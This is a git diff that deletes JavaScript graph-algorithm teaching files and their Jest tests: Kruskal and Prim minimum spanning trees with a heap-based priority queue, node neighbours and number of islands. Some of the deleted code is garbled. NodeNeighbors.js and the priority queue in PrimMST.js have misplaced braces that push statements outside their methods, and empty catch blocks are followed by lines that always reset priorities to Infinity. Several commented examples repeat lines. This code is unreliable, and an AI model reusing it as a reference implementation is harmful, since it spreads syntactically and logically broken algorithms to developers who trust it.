-    findSet(x) {
-        // Function to find the set x belongs to (with path-compression)
-        if (this.map[x] !== this.map[x].parent) {
-            this.map[x].parent = this.findSet(this.map[x].parent.key);
-        }
-        return this.map[x].parent;
-    }
-    union(x, y) {
-        // Function to merge 2 disjoint sets
-        this.link(this.findSet(x), this.findSet(y));
-    }
-    link(x, y) {
-        // Helper function for union operation
-        if (x.rank > y.rank) {
-            y.parent = x;
-        } else {
-            x.parent = y;
-            if (x.rank === y.rank) {
-                y.rank += 1;
-            }
-        }
-    }
-}
-class GraphWeightedUndirectedAdjacencyList {
-    // Weighted Undirected Graph class
-    constructor() {
-        this.connections = {};
-        this.nodes = 0;
-    }
-    addNode(node) {
-        // Function to add a node to the graph (connection represented by set)
-        this.connections[node] = {};
-        this.nodes += 1;
-    }
-    addEdge(node1, node2, weight) {
-        // Function to add an edge (adds the node too if they are not present in the graph)
-        if (!(node1 in this.connections)) {
-            this.addNode(node1);
-        }
-        if (!(node2 in this.connections)) {
-            this.addNode(node2);
-        }
-        this.connections[node1][node2] = weight;
-        this.connections[node2][node1] = weight;
-    }
-    KruskalMST() {
-        // Kruskal's Algorithm to generate a Minimum Spanning Tree (MST) of a graph
-        // Details: https://en.wikipedia.org/wiki/Kruskal%27s_algorithm
-        // getting the edges in ascending order of weights
-        const edges = [];
-        const seen = new Set();
-        for (const start of Object.keys(this.connections)) {
-            for (const end of Object.keys(this.connections[start])) {
-                if (!seen.has(`${start} ${end}`)) {
-                    seen.add(`${end} ${start}`);
-                    edges.push([start, end, this.connections[start][end]]);
-                }
-            }
-        }
-        edges.sort((a, b) => a[2] - b[2]);
-        // creating the disjoint set
-        const disjointSet = new DisjointSetTree();
-        Object.keys(this.connections).forEach((node) => disjointSet.makeSet(node));
-        // MST generation
-        const graph = new GraphWeightedUndirectedAdjacencyList();
-        let numEdges = 0;
-        let index = 0;
-        while (numEdges < this.nodes - 1) {
-            const [u, v, w] = edges[index];
-            index += 1;
-            if (disjointSet.findSet(u) !== disjointSet.findSet(v)) {
-                numEdges += 1;
-                graph.addEdge(u, v, w);
-                disjointSet.union(u, v);
-            }
-        }
-        return graph;
-    }
-}
-
-export {
-    GraphWeightedUndirectedAdjacencyList
-};
-
-// const graph = new GraphWeightedUndirectedAdjacencyList()
-// graph.addEdge(1, 2, 1)
-// graph.addEdge(2, 3, 2)
-// graph.addEdge(3, 4, 1)
-// graph.addEdge(3, 5, 100) // Removed in MST
-// graph.addEdge(4, 5, 5)
-// graph.KruskalMST()
-// graph.addEdge(4, 5, 5)
-// graph.KruskalMST()
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/NodeNeighbors.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/NodeNeighbors.js
deleted file mode 100644
index 0b06ca8a37..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/NodeNeighbors.js
+++ /dev/null
@@ -1,40 +0,0 @@
-// https://en.wikipedia.org/wiki/Neighbourhood_(graph_theory)
-class Graph {
-    // Generic graph: the algorithm works regardless of direction or weight
-    constructor() {
-        this.edges = [];
-    }
-    addEdge(node1, node2) {
-        // Adding edges to the graph
-        this.edges.push({
-            node1,
-            node2
-        });
-    }
-    nodeNeighbors(node) {
-        // Returns an array with all of the node neighbors
-        const neighbors = new Set();
-        for (const edge of this.edges) {
-            // Checks if they have an edge between them and if the neighbor is not
-            // already in the neighbors array
-            if (edge.node1 === node && !neighbors.has(edge.node2)) {
-                neighbors.add(edge.node2);
-            } else if (edge.node2 === node && !neighbors.has(edge.node1)) {}
-            neighbors.add(edge.node1);
-        }
-    }
-    return neighbors;
-}
-}
-export {
-    Graph
-};
-// const graph = new Graph()
-// graph.addEdge(1, 2)
-// graph.addEdge(2, 3)
-// graph.addEdge(3, 5)
-// graph.addEdge(1, 5)
-// graph.nodeNeighbors(1)
-// graph.addEdge(3, 5)
-// graph.addEdge(1, 5)
-// graph.nodeNeighbors(1)
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/NumberOfIslands.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/NumberOfIslands.js
deleted file mode 100644
index f76810ec1f..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/NumberOfIslands.js
+++ /dev/null
@@ -1,76 +0,0 @@
-/* Number of Islands
-https://dev.to/rattanakchea/amazons-interview-question-count-island-21h6
-Given a 2d grid map of '1's (land) and '0's (water), count the number of islands. An island is surrounded by water and is formed by connecting adjacent lands horizontally or vertically. You may assume all four edges of the grid are all surrounded by water.
-a two dimensional grid map
-each element is going to represent a piece of land
-1 is land,
-0 is water
-output a number which is the number of islands
-Example 1:
-  Input:
-  11110
-  11010
-  11000
-  00000
-  Output: 1
-Example 2:
-  Input:
-  11000
-  11000
-  00100
-  00011
-  Output: 3
-I: two dimensional array
-O: a single integer; total number of islands
-Pseudocode:
-  OUTER FUNCTION
-    set count to 0
-    INNER FUNCTION - flood (col, row)
-      if the tile is water
-        return
-      make tile water(flood tile)
-      invoke flood on the neighbor coordinates
-    iterate over the matrix (col, row)
-      if the current element is a 1
-        increment count
-        invoke flood (coordinates for col and row)
-    Return the count
-*/
-const islands = (matrixGrid) => {
-    const matrix = matrixGrid;
-    let counter = 0;
-    const flood = (row, col) => {
-        if (row < 0 || col < 0) return; // Off the map above or left
-        if (row >= matrix.length || col >= matrix[row].length) return; // Off the map below or right
-        const tile = matrix[row][col];
-        if (tile !== '1') return;
-        matrix[row][col] = '0';
-        flood(row + 1, col); // Down
-        flood(row - 1, col); // Up
-        flood(row, col + 1); // Right
-        flood(row, col - 1); // Left
-    };
-    for (let row = 0; row < matrix.length; row += 1) {
-        for (let col = 0; col < matrix[row].length; col += 1) {
-            const current = matrix[row][col];
-            if (current === '1') {
-                flood(row, col);
-                counter += 1;
-            }
-        }
-    }
-    return counter;
-};
-
-export {
-    islands
-};
-
-// islands(
-//   ['1', '1', '0', '0', '0'],
-//   ['1', '1', '0', '0', '0'],
-//   ['0', '0', '1', '0', '0'],
-//   ['0', '0', '0', '1', '1']
-// )
-//   ['0', '0', '0', '1', '1']
-// )
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/PrimMST.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/PrimMST.js
deleted file mode 100644
index 5d8c444bc5..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/PrimMST.js
+++ /dev/null
@@ -1,195 +0,0 @@
-// Priority Queue Helper functions
-function getParentPosition(position) {
-    // Get the parent node of the current node
-    return Math.floor((position - 1) / 2);
-}
-function getChildrenPosition(position) {
-    // Get the children nodes of the current node
-    return [2 * position + 1, 2 * position + 2];
-}
-class PriorityQueue {
-    // Priority Queue class using Minimum Binary Heap
-    constructor() {
-        this._heap = [];
-        this.keys = {};
-    }
-    isEmpty() {
-        // Checking if the heap is empty
-        return this._heap.length === 0;
-    }
-    push(key, priority) {
-        // Adding element to the queue (equivalent to add)
-        this._heap.push([key, priority]);
-        this.keys[key] = this._heap.length - 1;
-        this._shiftUp(this.keys[key]);
-    }
-    pop() {
-        // Removing the element with least priority (equivalent to extractMin)
-        this._swap(0, this._heap.length - 1);
-        const [key] = this._heap.pop();
-        delete this.keys[key];
-        this._shiftDown(0);
-        return key;
-    }
-    contains(key) {
-        // Check if a given key is present in the queue
-        return key in this.keys;
-    }
-    update(key, priority) {
-        // Update the priority of the given element (equivalent to decreaseKey)
-        const currPos = this.keys[key];
-        this._heap[currPos][1] = priority;
-        const parentPos = getParentPosition(currPos);
-        const currPriority = this._heap[currPos][1];
-        let parentPriority = Infinity;
-        if (parentPos >= 0) {
-            parentPriority = this._heap[parentPos][1];
-        }
-        const [child1Pos, child2Pos] = getChildrenPosition(currPos);
-        let [child1Priority, child2Priority] = [Infinity, Infinity];
-        if (child1Pos < this._heap.length) {
-            child1Priority = this._heap[child1Pos][1];
-        }
-        if (child2Pos < this._heap.length) {
-            child2Priority = this._heap[child2Pos][1];
-        }
-        if (parentPos >= 0 && parentPriority > currPriority) {
-            this._shiftUp(currPos);
-        } else if (child2Pos < this._heap.length && (child1Priority < currPriority || child2Priority < currPriority)) {
-            this._shiftDown(currPos);
-        }
-    }
-    _shiftUp(position) {
-        // Helper function to shift up a node to proper position (equivalent to bubbleUp)
-        let currPos = position;
-        let parentPos = getParentPosition(currPos);
-        let currPriority = this._heap[currPos][1];
-        let parentPriority = Infinity;
-        if (parentPos >= 0) {
-            parentPriority = this._heap[parentPos][1];
-        }
-        while (parentPos >= 0 && parentPriority > currPriority) {
-            this._swap(currPos, parentPos);
-            currPos = parentPos;
-            parentPos = getParentPosition(currPos);
-            currPriority = this._heap[currPos][1];
-            try {
-                parentPriority = this._heap[parentPos][1];
-            } catch (error) {}
-            parentPriority = Infinity;
-        }
-    }
-    this.keys[this._heap[currPos][0]] = currPos;
-}
-_shiftDown(position) {
-    // Helper function to shift down a node to proper position (equivalent to bubbleDown)
-    let currPos = position;
-    let [child1Pos, child2Pos] = getChildrenPosition(currPos);
-    let [child1Priority, child2Priority] = [Infinity, Infinity];
-    if (child1Pos < this._heap.length) {
-        child1Priority = this._heap[child1Pos][1];
-    }
-    if (child2Pos < this._heap.length) {
-        child2Priority = this._heap[child2Pos][1];
-    }
-    let currPriority;
-    try {
-        currPriority = this._heap[currPos][1];
-    } catch {
-        return;
-    }
-    while (child2Pos < this._heap.length && (child1Priority < currPriority || child2Priority < currPriority)) {
-        if (child1Priority < currPriority && child1Priority < child2Priority) {
-            this._swap(child1Pos, currPos);
-            currPos = child1Pos;
-        } else {
-            this._swap(child2Pos, currPos);
-            currPos = child2Pos;
-        }
-        [child1Pos, child2Pos] = getChildrenPosition(currPos);
-        try {
-            [child1Priority, child2Priority] = [this._heap[child1Pos][1], this._heap[child2Pos][1]];
-        } catch (error) {} [child1Priority, child2Priority] = [Infinity, Infinity];
-    }
-    currPriority = this._heap[currPos][1];
-}
-this.keys[this._heap[currPos][0]] = currPos;
-if (child1Pos < this._heap.length && child1Priority < currPriority) {
-    this._swap(child1Pos, currPos);
-    this.keys[this._heap[child1Pos][0]] = child1Pos;
-}
-}
-_swap(position1, position2) {
-    // Helper function to swap 2 nodes
-    [this._heap[position1], this._heap[position2]] = [this._heap[position2], this._heap[position1]];
-    this.keys[this._heap[position1][0]] = position1;
-    this.keys[this._heap[position2][0]] = position2;
-}
-}
-class GraphWeightedUndirectedAdjacencyList {
-    // Weighted Undirected Graph class
-    constructor() {
-        this.connections = {};
-    }
-    addNode(node) {
-        // Function to add a node to the graph (connection represented by set)
-        this.connections[node] = {};
-    }
-    addEdge(node1, node2, weight) {
-        // Function to add an edge (adds the node too if they are not present in the graph)
-        if (!(node1 in this.connections)) {
-            this.addNode(node1);
-        }
-        if (!(node2 in this.connections)) {
-            this.addNode(node2);
-        }
-        this.connections[node1][node2] = weight;
-        this.connections[node2][node1] = weight;
-    }
-    PrimMST(start) {
-        // Prim's Algorithm to generate a Minimum Spanning Tree (MST) of a graph
-        // Details: https://en.wikipedia.org/wiki/Prim%27s_algorithm
-        const distance = {};
-        const parent = {};
-        const priorityQueue = new PriorityQueue();
-        // Initialization
-        for (const node in this.connections) {
-            distance[node] = node === start.toString() ? 0 : Infinity;
-            parent[node] = null;
-            priorityQueue.push(node, distance[node]);
-        }
-        // Updating 'distance' object
-        while (!priorityQueue.isEmpty()) {
-            const node = priorityQueue.pop();
-            Object.keys(this.connections[node]).forEach((neighbour) => {
-                if (priorityQueue.contains(neighbour) && distance[node] + this.connections[node][neighbour] < distance[neighbour]) {
-                    distance[neighbour] = distance[node] + this.connections[node][neighbour];
-                    parent[neighbour] = node;
-                    priorityQueue.update(neighbour, distance[neighbour]);
-                }
-            });
-        }
-        // MST Generation from the 'parent' object
-        const graph = new GraphWeightedUndirectedAdjacencyList();
-        Object.keys(parent).forEach((node) => {
-            if (node && parent[node]) {
-                graph.addEdge(node, parent[node], this.connections[node][parent[node]]);
-            }
-        });
-        return graph;
-    }
-}
-export {
-    GraphWeightedUndirectedAdjacencyList
-};
-// const graph = new GraphWeightedUndirectedAdjacencyList()
-// graph.addEdge(1, 2, 1)
-// graph.addEdge(2, 3, 2)
-// graph.addEdge(3, 4, 1)
-// graph.addEdge(3, 5, 100) // Removed in MST
-// graph.addEdge(4, 5, 5)
-// graph.PrimMST(1)
-// graph.addEdge(3, 4, 1)
-// graph.addEdge(3, 5, 100) // Removed in MST
-// graph.addEdge(4, 5, 5)
-// graph.PrimMST(1)
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BellmanFord.test.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BellmanFord.test.js
deleted file mode 100644
index bfdf45185c..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BellmanFord.test.js
+++ /dev/null
@@ -1,50 +0,0 @@
-import { BellmanFord } from '../BellmanFord.js';
-test('Test Case 1', () => {
-    const V = 5;
-    const E = 8;
-    const destination = 3;
-    const graph = [
-        [0, 1, -1],
-        [0, 2, 4],
-        [1, 2, 3],
-        [1, 3, 2],
-        [1, 4, 2],
-        [3, 2, 5],
-        [3, 1, 1],
-        [4, 3, -3]
-    ];
-    const dist = BellmanFord(graph, V, E, 0, destination);
-    expect(dist).toBe(-2);
-});
-test('Test Case 2', () => {
-    const V = 6;
-    const E = 9;
-    const destination = 4;
-    const graph = [
-        [0, 1, 3],
-        [0, 3, 6],
-        [0, 5, -1],
-        [1, 2, -3],
-        [1, 4, -2],
-        [5, 2, 5],
-        [2, 3, 1],
-        [4, 3, 5],
-        [5, 4, 2]
-    ];
-    const dist = BellmanFord(graph, V, E, 0, destination);
-    expect(dist).toBe(1);
-});
-test('Test Case 3', () => {
-    const V = 4;
-    const E = 5;
-    const destination = 1;
-    const graph = [
-        [0, 3, -1],
-        [0, 2, 4],
-        [3, 2, 2],
-        [3, 1, 5],
-        [2, 1, -1]
-    ];
-    const dist = BellmanFord(graph, V, E, 0, destination);
-    expect(dist).toBe(0);
-});
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BreadthFirstSearch.test.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BreadthFirstSearch.test.js
deleted file mode 100644
index ccb30ae05e..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BreadthFirstSearch.test.js
+++ /dev/null
@@ -1,25 +0,0 @@
-import { breadthFirstSearch } from '../BreadthFirstSearch';
-describe('BreadthFirstSearch', () => {
-    const graph = {
-        A: ['B', 'D'],
-        B: ['E'],
-        C: ['D'],
-        D: ['A'],
-        E: ['D'],
-        F: ['G'],
-        G: []
-    };
-    /*
-        A <-> B
-        ʌ     |
-        |     |
-        v     v
-  C --> D <-- E
-  F --> G
-  */
-    it('should return the visited nodes', () => {
-        expect(Array.from(breadthFirstSearch(graph, 'C'))).toEqual(['C', 'D', 'A', 'B', 'E']);
-        expect(Array.from(breadthFirstSearch(graph, 'A'))).toEqual(['A', 'B', 'D', 'E']);
-        expect(Array.from(breadthFirstSearch(graph, 'F'))).toEqual(['F', 'G']);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BreadthFirstShortestPath.test.js b/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BreadthFirstShortestPath.test.js
deleted file mode 100644
index 0535862801..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/Graphs/test/BreadthFirstShortestPath.test.js
+++ /dev/null
@@ -1,26 +0,0 @@
-import { breadthFirstShortestPath } from '../BreadthFirstShortestPath';
-describe('BreadthFirstShortestPath', () => {
-    const graph = {
-        A: ['B', 'D'],
-        B: ['E'],
-        C: ['D'],
-        D: ['A'],
-        E: ['D'],
-        F: ['G'],
-        G: []
-    };
-    /*
-        A <-> B
-        ʌ     |
-        |     |
-        v     v
-  C --> D <-- E
-  F --> G
-  */
-    it('should return the visited nodes', () => {
-        expect(breadthFirstShortestPath(graph, 'C', 'E')).toEqual(['C', 'D', 'A', 'B', 'E']);
-        expect(breadthFirstShortestPath(graph, 'E', 'B')).toEqual(['E', 'D', 'A', 'B']);
-        expect(breadthFirstShortestPath(graph, 'F', 'G')).toEqual(['F', 'G']);
-        expect(breadthFirstShortestPath(graph, 'A', 'G')).toEqual([]);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/graph/README.md b/docs/content/DS_ALGO/data-structures/graph/README.md
deleted file mode 100644
index 4617d1aca3..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/README.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# Graph
-
-[_Français_](README.fr-FR.md),
-
-In computer science, a **graph** is an abstract data type
-that is meant to implement the undirected graph and
-directed graph concepts from mathematics, specifically
-the field of graph theory
-
-A graph data structure consists of a finite (and possibly
-mutable) set of vertices or nodes or points, together
-with a set of unordered pairs of these vertices for an
-undirected graph or a set of ordered pairs for a
-directed graph. These pairs are known as edges, arcs,
-or lines for an undirected graph and as arrows,
-directed edges, directed arcs, or directed lines
-for a directed graph. The vertices may be part of
-the graph structure, or may be external entities
-represented by integer indices or references.
-
-![Graph](https://www.tutorialspoint.com/data_structures_algorithms/images/graph.jpg)
-
-## References
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Graph_(abstract_data_type)>)
--   [Introduction to Graphs on YouTube](https://www.youtube.com/watch?v=gXgEDyodOJU&index=9&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Graphs representation on YouTube](https://www.youtube.com/watch?v=k1wraWzqtvQ&index=10&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/graph/test/Graph.test.js b/docs/content/DS_ALGO/data-structures/graph/test/Graph.test.js
deleted file mode 100644
index 63ee3cb30a..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/test/Graph.test.js
+++ /dev/null
@@ -1,263 +0,0 @@
-import Graph from '../Graph';
-import GraphVertex from '../GraphVertex';
-import GraphEdge from '../GraphEdge';
-describe('Graph', () => {
-    it('should add vertices to graph', () => {
-        const graph = new Graph();
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        graph.addVertex(vertexA).addVertex(vertexB);
-        expect(graph.toString()).toBe('A,B');
-        expect(graph.getVertexByKey(vertexA.getKey())).toEqual(vertexA);
-        expect(graph.getVertexByKey(vertexB.getKey())).toEqual(vertexB);
-    });
-    it('should add edges to undirected graph', () => {
-        const graph = new Graph();
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        graph.addEdge(edgeAB);
-        expect(graph.getAllVertices().length).toBe(2);
-        expect(graph.getAllVertices()[0]).toEqual(vertexA);
-        expect(graph.getAllVertices()[1]).toEqual(vertexB);
-        const graphVertexA = graph.getVertexByKey(vertexA.getKey());
-        const graphVertexB = graph.getVertexByKey(vertexB.getKey());
-        expect(graph.toString()).toBe('A,B');
-        expect(graphVertexA).toBeDefined();
-        expect(graphVertexB).toBeDefined();
-        expect(graph.getVertexByKey('not existing')).toBeUndefined();
-        expect(graphVertexA.getNeighbors().length).toBe(1);
-        expect(graphVertexA.getNeighbors()[0]).toEqual(vertexB);
-        expect(graphVertexA.getNeighbors()[0]).toEqual(graphVertexB);
-        expect(graphVertexB.getNeighbors().length).toBe(1);
-        expect(graphVertexB.getNeighbors()[0]).toEqual(vertexA);
-        expect(graphVertexB.getNeighbors()[0]).toEqual(graphVertexA);
-    });
-    it('should add edges to directed graph', () => {
-        const graph = new Graph(true);
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        graph.addEdge(edgeAB);
-        const graphVertexA = graph.getVertexByKey(vertexA.getKey());
-        const graphVertexB = graph.getVertexByKey(vertexB.getKey());
-        expect(graph.toString()).toBe('A,B');
-        expect(graphVertexA).toBeDefined();
-        expect(graphVertexB).toBeDefined();
-        expect(graphVertexA.getNeighbors().length).toBe(1);
-        expect(graphVertexA.getNeighbors()[0]).toEqual(vertexB);
-        expect(graphVertexA.getNeighbors()[0]).toEqual(graphVertexB);
-        expect(graphVertexB.getNeighbors().length).toBe(0);
-    });
-    it('should find edge by vertices in undirected graph', () => {
-        const graph = new Graph();
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 10);
-        graph.addEdge(edgeAB);
-        const graphEdgeAB = graph.findEdge(vertexA, vertexB);
-        const graphEdgeBA = graph.findEdge(vertexB, vertexA);
-        const graphEdgeAC = graph.findEdge(vertexA, vertexC);
-        const graphEdgeCA = graph.findEdge(vertexC, vertexA);
-        expect(graphEdgeAC).toBeNull();
-        expect(graphEdgeCA).toBeNull();
-        expect(graphEdgeAB).toEqual(edgeAB);
-        expect(graphEdgeBA).toEqual(edgeAB);
-        expect(graphEdgeAB.weight).toBe(10);
-    });
-    it('should find edge by vertices in directed graph', () => {
-        const graph = new Graph(true);
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 10);
-        graph.addEdge(edgeAB);
-        const graphEdgeAB = graph.findEdge(vertexA, vertexB);
-        const graphEdgeBA = graph.findEdge(vertexB, vertexA);
-        const graphEdgeAC = graph.findEdge(vertexA, vertexC);
-        const graphEdgeCA = graph.findEdge(vertexC, vertexA);
-        expect(graphEdgeAC).toBeNull();
-        expect(graphEdgeCA).toBeNull();
-        expect(graphEdgeBA).toBeNull();
-        expect(graphEdgeAB).toEqual(edgeAB);
-        expect(graphEdgeAB.weight).toBe(10);
-    });
-    it('should return vertex neighbors', () => {
-        const graph = new Graph(true);
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        graph.addEdge(edgeAB).addEdge(edgeAC);
-        const neighbors = graph.getNeighbors(vertexA);
-        expect(neighbors.length).toBe(2);
-        expect(neighbors[0]).toEqual(vertexB);
-        expect(neighbors[1]).toEqual(vertexC);
-    });
-    it('should throw an error when trying to add edge twice', () => {
-        function addSameEdgeTwice() {
-            const graph = new Graph(true);
-            const vertexA = new GraphVertex('A');
-            const vertexB = new GraphVertex('B');
-            const edgeAB = new GraphEdge(vertexA, vertexB);
-            graph.addEdge(edgeAB).addEdge(edgeAB);
-        }
-        expect(addSameEdgeTwice).toThrow();
-    });
-    it('should return the list of all added edges', () => {
-        const graph = new Graph(true);
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        graph.addEdge(edgeAB).addEdge(edgeBC);
-        const edges = graph.getAllEdges();
-        expect(edges.length).toBe(2);
-        expect(edges[0]).toEqual(edgeAB);
-        expect(edges[1]).toEqual(edgeBC);
-    });
-    it('should calculate total graph weight for default graph', () => {
-        const graph = new Graph();
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeAD = new GraphEdge(vertexA, vertexD);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeAD);
-        expect(graph.getWeight()).toBe(0);
-    });
-    it('should calculate total graph weight for weighted graph', () => {
-        const graph = new Graph();
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 1);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 2);
-        const edgeCD = new GraphEdge(vertexC, vertexD, 3);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 4);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeAD);
-        expect(graph.getWeight()).toBe(10);
-    });
-    it('should be possible to delete edges from graph', () => {
-        const graph = new Graph();
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeAC);
-        expect(graph.getAllEdges().length).toBe(3);
-        graph.deleteEdge(edgeAB);
-        expect(graph.getAllEdges().length).toBe(2);
-        expect(graph.getAllEdges()[0].getKey()).toBe(edgeBC.getKey());
-        expect(graph.getAllEdges()[1].getKey()).toBe(edgeAC.getKey());
-    });
-    it('should should throw an error when trying to delete not existing edge', () => {
-        function deleteNotExistingEdge() {
-            const graph = new Graph();
-            const vertexA = new GraphVertex('A');
-            const vertexB = new GraphVertex('B');
-            const vertexC = new GraphVertex('C');
-            const edgeAB = new GraphEdge(vertexA, vertexB);
-            const edgeBC = new GraphEdge(vertexB, vertexC);
-            graph.addEdge(edgeAB);
-            graph.deleteEdge(edgeBC);
-        }
-        expect(deleteNotExistingEdge).toThrowError();
-    });
-    it('should be possible to reverse graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const graph = new Graph(true);
-        graph.addEdge(edgeAB).addEdge(edgeAC).addEdge(edgeCD);
-        expect(graph.toString()).toBe('A,B,C,D');
-        expect(graph.getAllEdges().length).toBe(3);
-        expect(graph.getNeighbors(vertexA).length).toBe(2);
-        expect(graph.getNeighbors(vertexA)[0].getKey()).toBe(vertexB.getKey());
-        expect(graph.getNeighbors(vertexA)[1].getKey()).toBe(vertexC.getKey());
-        expect(graph.getNeighbors(vertexB).length).toBe(0);
-        expect(graph.getNeighbors(vertexC).length).toBe(1);
-        expect(graph.getNeighbors(vertexC)[0].getKey()).toBe(vertexD.getKey());
-        expect(graph.getNeighbors(vertexD).length).toBe(0);
-        graph.reverse();
-        expect(graph.toString()).toBe('A,B,C,D');
-        expect(graph.getAllEdges().length).toBe(3);
-        expect(graph.getNeighbors(vertexA).length).toBe(0);
-        expect(graph.getNeighbors(vertexB).length).toBe(1);
-        expect(graph.getNeighbors(vertexB)[0].getKey()).toBe(vertexA.getKey());
-        expect(graph.getNeighbors(vertexC).length).toBe(1);
-        expect(graph.getNeighbors(vertexC)[0].getKey()).toBe(vertexA.getKey());
-        expect(graph.getNeighbors(vertexD).length).toBe(1);
-        expect(graph.getNeighbors(vertexD)[0].getKey()).toBe(vertexC.getKey());
-    });
-    it('should return vertices indices', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeBD);
-        const verticesIndices = graph.getVerticesIndices();
-        expect(verticesIndices).toEqual({
-            A: 0,
-            B: 1,
-            C: 2,
-            D: 3
-        });
-    });
-    it('should generate adjacency matrix for undirected graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeBD);
-        const adjacencyMatrix = graph.getAdjacencyMatrix();
-        expect(adjacencyMatrix).toEqual([
-            [Infinity, 0, Infinity, Infinity],
-            [0, Infinity, 0, 0],
-            [Infinity, 0, Infinity, 0],
-            [Infinity, 0, 0, Infinity]
-        ]);
-    });
-    it('should generate adjacency matrix for directed graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 2);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 1);
-        const edgeCD = new GraphEdge(vertexC, vertexD, 5);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 7);
-        const graph = new Graph(true);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCD).addEdge(edgeBD);
-        const adjacencyMatrix = graph.getAdjacencyMatrix();
-        expect(adjacencyMatrix).toEqual([
-            [Infinity, 2, Infinity, Infinity],
-            [Infinity, Infinity, 1, 7],
-            [Infinity, Infinity, Infinity, 5],
-            [Infinity, Infinity, Infinity, Infinity]
-        ]);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/graph/test/GraphEdge.test.js b/docs/content/DS_ALGO/data-structures/graph/test/GraphEdge.test.js
deleted file mode 100644
